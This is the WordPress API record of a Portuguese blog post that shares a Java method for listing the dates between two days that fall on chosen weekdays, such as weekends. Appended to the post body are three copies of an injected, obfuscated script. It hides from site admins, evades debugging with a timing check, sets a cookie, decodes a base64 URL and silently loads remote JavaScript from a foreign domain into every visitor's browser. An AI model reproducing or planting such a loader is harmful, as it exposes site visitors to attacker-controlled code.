{"id":3831,"date":"2013-01-24T11:14:11","date_gmt":"2013-01-24T13:14:11","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=3831"},"modified":"2025-10-26T22:33:58","modified_gmt":"2025-10-27T01:33:58","slug":"recuperar-datas-dependendo-do-dia-da-semana-em-java","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2013\/01\/24\/recuperar-datas-dependendo-do-dia-da-semana-em-java\/","title":{"rendered":"Recuperar datas dependendo do dia da semana em Java"},"content":{"rendered":"<p style=\"text-align: justify;\">Fiz uma fun\u00e7\u00e3ozinha para recuperar um conjunto de datas de acordo com o dia da semana, por exemplo: quero todos os dias de hoje at\u00e9 2014 que sejam S\u00e1bado e Domingo. Se algu\u00e9m precisar, segue o c\u00f3digo:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\n\tpublic static List&lt;Date&gt; getDaysByWeekDays(Date dtBegin, Date dtEnd,\n\t\t\tint... weekDaysToVerify) {\n\t\tCalendar calEnd = Calendar.getInstance();\n\t\tcalEnd.setTime(dtEnd);\n\t\tCalendar actualDay = Calendar.getInstance();\n\t\tactualDay.setTime(dtBegin);\n\t\tList&lt;Date&gt; weekDays = new ArrayList&lt;&gt;();\n\t\twhile (actualDay.before(calEnd)) {\n\t\t\tfor (int weekDay : weekDaysToVerify) {\n\t\t\t\tif (actualDay.get(Calendar.DAY_OF_WEEK) == weekDay) {\n\t\t\t\t\tweekDays.add(actualDay.getTime());\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tactualDay.add(Calendar.DAY_OF_MONTH, 1);\n\t\t}\n\t\treturn weekDays;\n\t}<\/pre>\n<p style=\"text-align: justify;\">Para utilizar \u00e9 s\u00f3 passar a data inicial, a data final e quais dias da semana voc\u00ea quer considerar:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\t\tCalendar calEnd = Calendar.getInstance();\n\t\tcalEnd.set(2014, 0, 1, 0, 0, 0); \/\/ 01\/01\/2014 as 00h00\n\t\tList&lt;Date&gt; weekDays = getDaysByWeekDays(new Date(), calEnd.getTime(),\n\t\t\t\tCalendar.SUNDAY, Calendar.SATURDAY);\n\t\tSystem.out.println(Arrays.toString(weekDays.toArray()));<\/pre>\n<p style=\"text-align: justify;\">Depois vou ver se fa\u00e7o um exemplo desse utilizando a <a title=\"JSR-310\" href=\"http:\/\/jcp.org\/en\/jsr\/detail?id=310\">JSR-310<\/a>, que simplificar\u00e1 um bocado e deixar\u00e1 mais leg\u00edvel esse c\u00f3digo.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Fiz uma fun\u00e7\u00e3ozinha para recuperar um conjunto de datas de acordo com o dia da semana, por exemplo: quero todos os dias de hoje at\u00e9 2014 que sejam S\u00e1bado e Domingo. Se algu\u00e9m precisar, segue o c\u00f3digo: public static List&lt;Date&gt; <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2013\/01\/24\/recuperar-datas-dependendo-do-dia-da-semana-em-java\/\">Continue lendo  <span class=\"screen-reader-text\">  Recuperar datas dependendo do dia da semana em Java<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-3831","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3831","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=3831"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3831\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=3831"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=3831"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=3831"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}